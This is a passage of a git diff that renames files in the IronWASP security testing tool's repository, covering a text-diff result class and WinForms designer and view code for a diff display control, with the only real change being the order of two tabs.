System.Text.RegularExpressions; -using Mathertel; - -namespace IronWASP -{ - public class DiffResult - { - public List Deleted = new List(); - public List MissingAt = new List(); - public List Inserted = new List(); - public List UnChanged = new List(); - public List DeletedSections = new List(); - public List InsertedSections = new List(); - public List UnChangedSections = new List(); - - internal static DiffResult GetStringDiff(Mathertel.Diff.Item[] Results, string Source, string Destination) - { - return GetDiff(Results, Source, Destination, '\n'); - } - - internal static DiffResult GetLineDiff(Mathertel.Diff.Item[] Results, string Source, string Destination) - { - return GetDiff(Results, Source, Destination, ' '); - } - - internal static DiffResult GetDiff(Mathertel.Diff.Item[] Results, string Source, string Destination, char Splitter) - { - DiffResult DResult = new DiffResult(); - - int n = 0; - string[] aLines = Source.Split(Splitter); - string[] bLines = Destination.Split(Splitter); - - foreach (Diff.Item Result in Results) - { - Diff.Item aItem = Result; - - // write unchanged lines - while ((n < aItem.StartB) && (n < bLines.Length)) - { - DResult.UnChanged.Add(n + 1); - DResult.UnChangedSections.Add(bLines[n]); - n++; - } // while - - // write deleted lines - for (int m = 0; m < aItem.deletedA; m++) - { - DResult.Deleted.Add(aItem.StartA + m + 1); - DResult.MissingAt.Add(n + 1); - DResult.DeletedSections.Add(aLines[aItem.StartA + m]); - } // for - - // write inserted lines - while (n < aItem.StartB + aItem.insertedB) - { - DResult.Inserted.Add(n + 1); - DResult.InsertedSections.Add(bLines[n]); - n++; - } // while - } // while - - // write rest of unchanged lines - while (n < bLines.Length) - { - DResult.UnChanged.Add(n + 1); - DResult.UnChangedSections.Add(bLines[n]); - n++; - } // while - - return DResult; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections; +using System.Collections.Generic; +using System.Text; +using System.Text.RegularExpressions; +using Mathertel; + +namespace IronWASP +{ + public class DiffResult + { + public List Deleted = new List(); + public List MissingAt = new List(); + public List Inserted = new List(); + public List UnChanged = new List(); + public List DeletedSections = new List(); + public List InsertedSections = new List(); + public List UnChangedSections = new List(); + + internal static DiffResult GetStringDiff(Mathertel.Diff.Item[] Results, string Source, string Destination) + { + return GetDiff(Results, Source, Destination, '\n'); + } + + internal static DiffResult GetLineDiff(Mathertel.Diff.Item[] Results, string Source, string Destination) + { + return GetDiff(Results, Source, Destination, ' '); + } + + internal static DiffResult GetDiff(Mathertel.Diff.Item[] Results, string Source, string Destination, char Splitter) + { + DiffResult DResult = new DiffResult(); + + int n = 0; + string[] aLines = Source.Split(Splitter); + string[] bLines = Destination.Split(Splitter); + + foreach (Diff.Item Result in Results) + { + Diff.Item aItem = Result; + + // write unchanged lines + while ((n < aItem.StartB) && (n < bLines.Length)) + { + DResult.UnChanged.Add(n + 1); + DResult.UnChangedSections.Add(bLines[n]); + n++; + } // while + + // write deleted lines + for (int m = 0; m < aItem.deletedA; m++) + { + DResult.Deleted.Add(aItem.StartA + m + 1); + DResult.MissingAt.Add(n + 1); + DResult.DeletedSections.Add(aLines[aItem.StartA + m]); + } // for + + // write inserted lines + while (n < aItem.StartB + aItem.insertedB) + { + DResult.Inserted.Add(n + 1); + DResult.InsertedSections.Add(bLines[n]); + n++; + } // while + } // while + + // write rest of unchanged lines + while (n < bLines.Length) + { + DResult.UnChanged.Add(n + 1); + DResult.UnChangedSections.Add(bLines[n]); + n++; + } // while + + return DResult; + } + } +} diff --git a/IronWASP/DiffResultView.Designer.cs b/Iron/DiffResultView.Designer.cs similarity index 96% rename from IronWASP/DiffResultView.Designer.cs rename to Iron/DiffResultView.Designer.cs index c9eb1c2..449b3fb 100644 --- a/IronWASP/DiffResultView.Designer.cs +++ b/Iron/DiffResultView.Designer.cs @@ -1,277 +1,277 @@ -namespace IronWASP -{ - partial class DiffResultView - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.ResultsTabs = new System.Windows.Forms.TabControl(); - this.SinglePageTab = new System.Windows.Forms.TabPage(); - this.DiffResultRTB = new System.Windows.Forms.RichTextBox(); - this.SideBySideTab = new System.Windows.Forms.TabPage(); - this.SideBySideSplit = new System.Windows.Forms.SplitContainer(); - this.SourceResultRTB = new System.Windows.Forms.RichTextBox(); - this.DestinationResultRTB = new System.Windows.Forms.RichTextBox(); - this.textBox3 = new System.Windows.Forms.TextBox(); - this.textBox4 = new System.Windows.Forms.TextBox(); - this.label5 = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.label1 = new System.Windows.Forms.Label(); - this.label2 = new System.Windows.Forms.Label(); - this.ResultsTabs.SuspendLayout(); - this.SinglePageTab.SuspendLayout(); - this.SideBySideTab.SuspendLayout(); - this.SideBySideSplit.Panel1.SuspendLayout(); - this.SideBySideSplit.Panel2.SuspendLayout(); - this.SideBySideSplit.SuspendLayout(); - this.SuspendLayout(); - // - // ResultsTabs - // - this.ResultsTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ResultsTabs.Controls.Add(this.SinglePageTab); - this.ResultsTabs.Controls.Add(this.SideBySideTab); - this.ResultsTabs.Location = new System.Drawing.Point(0, 20); - this.ResultsTabs.Margin = new System.Windows.Forms.Padding(0); - this.ResultsTabs.Name = "ResultsTabs"; - this.ResultsTabs.Padding = new System.Drawing.Point(0, 0); - this.ResultsTabs.SelectedIndex = 0; - this.ResultsTabs.Size = new System.Drawing.Size(400, 160); - this.ResultsTabs.TabIndex = 2; - // - // SinglePageTab - // - this.SinglePageTab.Controls.Add(this.DiffResultRTB); - this.SinglePageTab.Location = new System.Drawing.Point(4, 22); - this.SinglePageTab.Margin = new System.Windows.Forms.Padding(0); - this.SinglePageTab.Name = "SinglePageTab"; - this.SinglePageTab.Size = new System.Drawing.Size(392, 134); - this.SinglePageTab.TabIndex = 1; - this.SinglePageTab.Text = " Single Page "; - this.SinglePageTab.UseVisualStyleBackColor = true; - // - // DiffResultRTB - // - this.DiffResultRTB.BackColor = System.Drawing.Color.White; - this.DiffResultRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.DiffResultRTB.DetectUrls = false; - this.DiffResultRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.DiffResultRTB.Location = new System.Drawing.Point(0, 0); - this.DiffResultRTB.Name = "DiffResultRTB"; - this.DiffResultRTB.ReadOnly = true; - this.DiffResultRTB.Size = new System.Drawing.Size(392, 134); - this.DiffResultRTB.TabIndex = 0; - this.DiffResultRTB.Text = ""; - // - // SideBySideTab - // - this.SideBySideTab.Controls.Add(this.SideBySideSplit); - this.SideBySideTab.Location = new System.Drawing.Point(4, 22); - this.SideBySideTab.Margin = new System.Windows.Forms.Padding(0); - this.SideBySideTab.Name = "SideBySideTab"; - this.SideBySideTab.Size = new System.Drawing.Size(392, 134); - this.SideBySideTab.TabIndex = 0; - this.SideBySideTab.Text = " Side By Side "; - this.SideBySideTab.UseVisualStyleBackColor = true; - // - // SideBySideSplit - // - this.SideBySideSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.SideBySideSplit.Location = new System.Drawing.Point(0, 0); - this.SideBySideSplit.Margin = new System.Windows.Forms.Padding(0); - this.SideBySideSplit.Name = "SideBySideSplit"; - // - // SideBySideSplit.Panel1 - // - this.SideBySideSplit.Panel1.Controls.Add(this.SourceResultRTB); - // - // SideBySideSplit.Panel2 - // - this.SideBySideSplit.Panel2.Controls.Add(this.DestinationResultRTB); - this.SideBySideSplit.Size = new System.Drawing.Size(392, 134); - this.SideBySideSplit.SplitterDistance = 187; - this.SideBySideSplit.SplitterWidth = 2; - this.SideBySideSplit.TabIndex = 0; - // - // SourceResultRTB - // - this.SourceResultRTB.BackColor = System.Drawing.Color.White; - this.SourceResultRTB.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.SourceResultRTB.DetectUrls = false; - this.SourceResultRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.SourceResultRTB.Location = new System.Drawing.Point(0, 0); - this.SourceResultRTB.Name = "SourceResultRTB"; - this.SourceResultRTB.ReadOnly = true; - this.SourceResultRTB.Size = new System.Drawing.Size(187, 134); - this.SourceResultRTB.TabIndex = 1; - this.SourceResultRTB.Text = ""; - // - // DestinationResultRTB - // - this.DestinationResultRTB.BackColor = System.Drawing.Color.White; - this.DestinationResultRTB.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.DestinationResultRTB.DetectUrls = false; - this.DestinationResultRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.DestinationResultRTB.Location = new System.Drawing.Point(0, 0); - this.DestinationResultRTB.Name = "DestinationResultRTB"; - this.DestinationResultRTB.ReadOnly = true; - this.DestinationResultRTB.Size = new System.Drawing.Size(203, 134); - this.DestinationResultRTB.TabIndex = 1; - this.DestinationResultRTB.Text = ""; - // - // textBox3 - // - this.textBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.textBox3.BackColor = System.Drawing.Color.Gray; - this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox3.Location = new System.Drawing.Point(330, 4); - this.textBox3.Name = "textBox3"; - this.textBox3.ReadOnly = true; - this.textBox3.Size = new System.Drawing.Size(30, 13); - this.textBox3.TabIndex = 17; - // - // textBox4 - // - this.textBox4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.textBox4.BackColor = System.Drawing.Color.White; - this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox4.Location = new System.Drawing.Point(213, 4); - this.textBox4.Name = "textBox4"; - this.textBox4.ReadOnly = true; - this.textBox4.Size = new System.Drawing.Size(30, 13); - this.textBox4.TabIndex = 18; - // - // label5 - // - this.label5.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(365, 4); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(28, 13); - this.label5.TabIndex = 15; - this.label5.Text = "Filler"; - // - // label6 - // - this.label6.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(248, 4); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(63, 13); - this.label6.TabIndex = 16; - this.label6.Text = "Unchanged"; - // - // textBox1 - // - this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.textBox1.BackColor = System.Drawing.Color.Orange; - this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox1.Location = new System.Drawing.Point(118, 4); - this.textBox1.Name = "textBox1"; - this.textBox1.ReadOnly = true; - this.textBox1.Size = new System.Drawing.Size(30, 13); - this.textBox1.TabIndex = 13; - // - // textBox2 - // - this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.textBox2.BackColor = System.Drawing.Color.LimeGreen; - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Location = new System.Drawing.Point(19, 4); - this.textBox2.Name = "textBox2"; - this.textBox2.ReadOnly = true; - this.textBox2.Size = new System.Drawing.Size(30, 13); - this.textBox2.TabIndex = 14; - // - // label1 - // - this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(153, 4); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(44, 13); - this.label1.TabIndex = 11; - this.label1.Text = "Deleted"; - // - // label2 - // - this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(54, 4); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(45, 13); - this.label2.TabIndex = 12; - this.label2.Text = "Inserted"; - // - // DiffResultView - // - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; - this.Controls.Add(this.textBox3); - this.Controls.Add(this.textBox4); - this.Controls.Add(this.label5); - this.Controls.Add(this.label6); - this.Controls.Add(this.textBox1); - this.Controls.Add(this.textBox2); - this.Controls.Add(this.label1); - this.Controls.Add(this.label2); - this.Controls.Add(this.ResultsTabs); - this.Margin = new System.Windows.Forms.Padding(0); - this.Name = "DiffResultView"; - this.Size = new System.Drawing.Size(400, 180); - this.ResultsTabs.ResumeLayout(false); - this.SinglePageTab.ResumeLayout(false); - this.SideBySideTab.ResumeLayout(false); - this.SideBySideSplit.Panel1.ResumeLayout(false); - this.SideBySideSplit.Panel2.ResumeLayout(false); - this.SideBySideSplit.ResumeLayout(false); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.TabControl ResultsTabs; - private System.Windows.Forms.TabPage SideBySideTab; - private System.Windows.Forms.SplitContainer SideBySideSplit; - internal System.Windows.Forms.RichTextBox SourceResultRTB; - internal System.Windows.Forms.RichTextBox DestinationResultRTB; - private System.Windows.Forms.TabPage SinglePageTab; - internal System.Windows.Forms.RichTextBox DiffResultRTB; - private System.Windows.Forms.TextBox textBox3; - private System.Windows.Forms.TextBox textBox4; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.TextBox textBox1; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.Label label2; - } -} +namespace IronWASP +{ + partial class DiffResultView + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.ResultsTabs = new System.Windows.Forms.TabControl(); + this.SinglePageTab = new System.Windows.Forms.TabPage(); + this.DiffResultRTB = new System.Windows.Forms.RichTextBox(); + this.SideBySideTab = new System.Windows.Forms.TabPage(); + this.SideBySideSplit = new System.Windows.Forms.SplitContainer(); + this.SourceResultRTB = new System.Windows.Forms.RichTextBox(); + this.DestinationResultRTB = new System.Windows.Forms.RichTextBox(); + this.textBox3 = new System.Windows.Forms.TextBox(); + this.textBox4 = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.ResultsTabs.SuspendLayout(); + this.SinglePageTab.SuspendLayout(); + this.SideBySideTab.SuspendLayout(); + this.SideBySideSplit.Panel1.SuspendLayout(); + this.SideBySideSplit.Panel2.SuspendLayout(); + this.SideBySideSplit.SuspendLayout(); + this.SuspendLayout(); + // + // ResultsTabs + // + this.ResultsTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ResultsTabs.Controls.Add(this.SideBySideTab); + this.ResultsTabs.Controls.Add(this.SinglePageTab); + this.ResultsTabs.Location = new System.Drawing.Point(0, 20); + this.ResultsTabs.Margin = new System.Windows.Forms.Padding(0); + this.ResultsTabs.Name = "ResultsTabs"; + this.ResultsTabs.Padding = new System.Drawing.Point(0, 0); + this.ResultsTabs.SelectedIndex = 0; + this.ResultsTabs.Size = new System.Drawing.Size(400, 160); + this.ResultsTabs.TabIndex = 2; + // + // SinglePageTab + // + this.SinglePageTab.Controls.Add(this.DiffResultRTB); + this.SinglePageTab.Location = new System.Drawing.Point(4, 22); + this.SinglePageTab.Margin = new System.Windows.Forms.Padding(0); + this.SinglePageTab.Name = "SinglePageTab"; + this.SinglePageTab.Size = new System.Drawing.Size(392, 134); + this.SinglePageTab.TabIndex = 1; + this.SinglePageTab.Text = " Single Page "; + this.SinglePageTab.UseVisualStyleBackColor = true; + // + // DiffResultRTB + // + this.DiffResultRTB.BackColor = System.Drawing.Color.White; + this.DiffResultRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.DiffResultRTB.DetectUrls = false; + this.DiffResultRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.DiffResultRTB.Location = new System.Drawing.Point(0, 0); + this.DiffResultRTB.Name = "DiffResultRTB"; + this.DiffResultRTB.ReadOnly = true; + this.DiffResultRTB.Size = new System.Drawing.Size(392, 134); + this.DiffResultRTB.TabIndex = 0; + this.DiffResultRTB.Text = ""; + // + // SideBySideTab + // + this.SideBySideTab.Controls.Add(this.SideBySideSplit); + this.SideBySideTab.Location = new System.Drawing.Point(4, 22); + this.SideBySideTab.Margin = new System.Windows.Forms.Padding(0); + this.SideBySideTab.Name = "SideBySideTab"; + this.SideBySideTab.Size = new System.Drawing.Size(392, 134); + this.SideBySideTab.TabIndex = 0; + this.SideBySideTab.Text = " Side By Side "; + this.SideBySideTab.UseVisualStyleBackColor = true; + // + // SideBySideSplit + // + this.SideBySideSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.SideBySideSplit.Location = new System.Drawing.Point(0, 0); + this.SideBySideSplit.Margin = new System.Windows.Forms.Padding(0); + this.SideBySideSplit.Name = "SideBySideSplit"; + // + // SideBySideSplit.Panel1 + // + this.SideBySideSplit.Panel1.Controls.Add(this.SourceResultRTB); + // + // SideBySideSplit.Panel2 + // + this.SideBySideSplit.Panel2.Controls.Add(this.DestinationResultRTB); + this.SideBySideSplit.Size = new System.Drawing.Size(392, 134); + this.SideBySideSplit.SplitterDistance = 187; + this.SideBySideSplit.SplitterWidth = 2; + this.SideBySideSplit.TabIndex = 0; + // + // SourceResultRTB + // + this.SourceResultRTB.BackColor = System.Drawing.Color.White; + this.SourceResultRTB.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.SourceResultRTB.DetectUrls = false; + this.SourceResultRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.SourceResultRTB.Location = new System.Drawing.Point(0, 0); + this.SourceResultRTB.Name = "SourceResultRTB"; + this.SourceResultRTB.ReadOnly = true; + this.SourceResultRTB.Size = new System.Drawing.Size(187, 134); + this.SourceResultRTB.TabIndex = 1; + this.SourceResultRTB.Text = ""; + // + // DestinationResultRTB + // + this.DestinationResultRTB.BackColor = System.Drawing.Color.White; + this.DestinationResultRTB.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.DestinationResultRTB.DetectUrls = false; + this.DestinationResultRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.DestinationResultRTB.Location = new System.Drawing.Point(0, 0); + this.DestinationResultRTB.Name = "DestinationResultRTB"; + this.DestinationResultRTB.ReadOnly = true; + this.DestinationResultRTB.Size = new System.Drawing.Size(203, 134); + this.DestinationResultRTB.TabIndex = 1; + this.DestinationResultRTB.Text = ""; + // + // textBox3 + // + this.textBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.textBox3.BackColor = System.Drawing.Color.Gray; + this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox3.Location = new System.Drawing.Point(330, 4); + this.textBox3.Name = "textBox3"; + this.textBox3.ReadOnly = true; + this.textBox3.Size = new System.Drawing.Size(30, 13); + this.textBox3.TabIndex = 17; + // + // textBox4 + // + this.textBox4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.textBox4.BackColor = System.Drawing.Color.White; + this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox4.Location = new System.Drawing.Point(213, 4); + this.textBox4.Name = "textBox4"; + this.textBox4.ReadOnly = true; + this.textBox4.Size = new System.Drawing.Size(30, 13); + this.textBox4.TabIndex = 18; + // + // label5 + // + this.label5.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(365, 4); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(28, 13); + this.label5.TabIndex = 15; + this.label5.Text = "Filler"; + // + // label6 + // + this.label6.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(248, 4); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(63, 13); + this.label6.TabIndex = 16; + this.label6.Text = "Unchanged"; + // + // textBox1 + // + this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.textBox1.BackColor = System.Drawing.Color.Orange; + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox1.Location = new System.Drawing.Point(118, 4); + this.textBox1.Name = "textBox1"; + this.textBox1.ReadOnly = true; + this.textBox1.Size = new System.Drawing.Size(30, 13); + this.textBox1.TabIndex = 13; + // + // textBox2 + // + this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.textBox2.BackColor = System.Drawing.Color.LimeGreen; + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Location = new System.Drawing.Point(19, 4); + this.textBox2.Name = "textBox2"; + this.textBox2.ReadOnly = true; + this.textBox2.Size = new System.Drawing.Size(30, 13); + this.textBox2.TabIndex = 14; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(153, 4); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(44, 13); + this.label1.TabIndex = 11; + this.label1.Text = "Deleted"; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(54, 4); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(45, 13); + this.label2.TabIndex = 12; + this.label2.Text = "Inserted"; + // + // DiffResultView + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.Controls.Add(this.textBox3); + this.Controls.Add(this.textBox4); + this.Controls.Add(this.label5); + this.Controls.Add(this.label6); + this.Controls.Add(this.textBox1); + this.Controls.Add(this.textBox2); + this.Controls.Add(this.label1); + this.Controls.Add(this.label2); + this.Controls.Add(this.ResultsTabs); + this.Margin = new System.Windows.Forms.Padding(0); + this.Name = "DiffResultView"; + this.Size = new System.Drawing.Size(400, 180); + this.ResultsTabs.ResumeLayout(false); + this.SinglePageTab.ResumeLayout(false); + this.SideBySideTab.ResumeLayout(false); + this.SideBySideSplit.Panel1.ResumeLayout(false); + this.SideBySideSplit.Panel2.ResumeLayout(false); + this.SideBySideSplit.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TabControl ResultsTabs; + private System.Windows.Forms.TabPage SideBySideTab; + private System.Windows.Forms.SplitContainer SideBySideSplit; + internal System.Windows.Forms.RichTextBox SourceResultRTB; + internal System.Windows.Forms.RichTextBox DestinationResultRTB; + private System.Windows.Forms.TabPage SinglePageTab; + internal System.Windows.Forms.RichTextBox DiffResultRTB; + private System.Windows.Forms.TextBox textBox3; + private System.Windows.Forms.TextBox textBox4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + } +} diff --git a/IronWASP/DiffResultView.cs b/Iron/DiffResultView.cs similarity index 96% rename from IronWASP/DiffResultView.cs rename to Iron/DiffResultView.cs index 9f64d13..0d94fc4 100644 --- a/IronWASP/DiffResultView.cs +++ b/Iron/DiffResultView.cs @@ -1,50 +1,50 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Drawing; -using System.Data; -using System.Text; -using System.Windows.Forms; - -namespace IronWASP -{ - public partial class DiffResultView : UserControl - { - public DiffResultView() - { - InitializeComponent(); - } - - delegate void ShowDiffResults_d(string SinglePage, string SideBySideSource, string SideBySideDestination); - internal void ShowDiffResults(string SinglePage, string SideBySideSource, string SideBySideDestination) - { - if (ResultsTabs.InvokeRequired) - { - ShowDiffResults_d SDR_d = new ShowDiffResults_d(ShowDiffResults); - ResultsTabs.Invoke(SDR_d, new object[] { SinglePage, SideBySideSource, SideBySideDestination }); - } - else - { - DiffResultRTB.Rtf = SinglePage; - SourceResultRTB.Rtf = SideBySideSource; - DestinationResultRTB.Rtf = SideBySideDestination; - } - } - - delegate void ClearDiffResults_d(); - internal void ClearDiffResults() - { - if (ResultsTabs.InvokeRequired) - { - ClearDiffResults_d CDR_d = new ClearDiffResults_d(ClearDiffResults); - ResultsTabs.Invoke(CDR_d, new object[] { }); - } - else - { - DiffResultRTB.Text = ""; - SourceResultRTB.Text = ""; - DestinationResultRTB.Text = ""; - } - } - } -} +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class DiffResultView : UserControl + { + public DiffResultView() + { + InitializeComponent(); + } + + delegate void ShowDiffResults_d(string SinglePage, string SideBySideSource, string SideBySideDestination); + internal void ShowDiffResults(string SinglePage, string SideBySideSource, string SideBySideDestination) + { + if (ResultsTabs.InvokeRequired) + { + ShowDiffResults_d SDR_d = new ShowDiffResults_d(ShowDiffResults); + ResultsTabs.Invoke(SDR_d, new object[] { SinglePage, SideBySideSource, SideBySideDestination }); + } + else + { + DiffResultRTB.Rtf = SinglePage; + SourceResultRTB.Rtf = SideBySideSource; + DestinationResultRTB.Rtf = SideBySideDestination; + } + } + + delegate void ClearDiffResults_d(); + internal void ClearDiffResults() + { + if (ResultsTabs.InvokeRequired) + { + ClearDiffResults_d CDR_d = new ClearDiffResults_d(ClearDiffResults); + ResultsTabs.Invoke(CDR_d, new object[] { }); + } + else + { + DiffResultRTB.Text = ""; + SourceResultRTB.Text = ""; + DestinationResultRTB.Text = ""; + } + } + } +} diff --git a/Iron/DiffResultView.resx b/Iron/DiffResultView.resx new file mode 100644 index 0000000..7080a7d --- /dev/null +++ b/Iron/DiffResultView.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/IronWASP/DiffWindow.Designer.cs b/Iron/DiffWindow.Designer.cs similarity index 98% rename from IronWASP/DiffWindow.Designer.cs rename to Iron/DiffWindow.Designer.cs index 8e42cdf..419c14a 100644 --- a/IronWASP/DiffWindow.Designer.cs +++ b/Iron/DiffWindow.Designer.cs @@ -1,518 +1,518 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class DiffWindow - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) 